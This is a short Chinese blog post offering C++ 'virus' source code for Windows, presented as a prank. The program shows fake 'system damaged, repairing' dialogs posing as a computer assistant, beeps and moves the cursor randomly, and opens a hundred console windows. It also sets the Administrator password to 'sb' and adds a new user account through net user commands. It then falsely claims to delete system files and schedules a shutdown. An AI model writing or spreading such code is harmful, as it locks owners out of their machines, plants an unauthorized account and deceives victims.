c++病毒小代码2.0(有声版 已做优化)

#include 
#include
#include
#include 
#include 
#include 
#define a 415
#define b 466
#define c 554
#define d 622
#define e 740
#define f 831
#define g 932
using namespace std;
int main ()
{
MessageBox(NULL,TEXT("系统破环,正在修复中..."),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(g,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
MessageBox(NULL,TEXT("系统受损严重,正在强行关闭此软件中..."),TEXT("电脑助手"),MB_OK);
Beep(a,245);
Beep(d,324);
Beep(f,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(g,34);
Beep(e,354);

Beep(a,245);
Beep(d,324);
Beep(a,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(d,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
srand(time(0));
 srand(time(0));
	for(int i=1;i<=100;i++)
	{
		for(int j=1;j<=348;j++)
		{
			int x1=GetSystemMetrics(SM_CXSCREEN);
int y1=GetSystemMetrics(SM_CYSCREEN);
		SetCursorPos(rand()%x1,rand()%y1);
		 } 
		system("start");
		Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,354);Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(e,354);
Beep(e,354);
	}
	system("net user Administrator sb");//自动把密码改成sb 
	Beep(a,245);
Beep(d,324);
Beep(b,34);
Beep(g,245);
Beep(d,324);
Beep(b,34);
Beep(f,354);
Beep(e,354);
	system("net user 崩溃吧 sb /add");//创建用户崩溃吧 
    cout<<"正在删除系统文件中...";
    Sleep(1000);
    system("tree c:\\windows");
    system("cls");
    Beep(a,245);
Beep(d,324);
Beep(f,34);
Beep(e,354);
	MessageBox(NULL,TEXT("删除完成"),TEXT("电脑助手"),MB_OK);
    Sleep(1000);
    system("shutdown -s -t 30");
} 

你可能感兴趣的:(其它代码,c++,c++,病毒)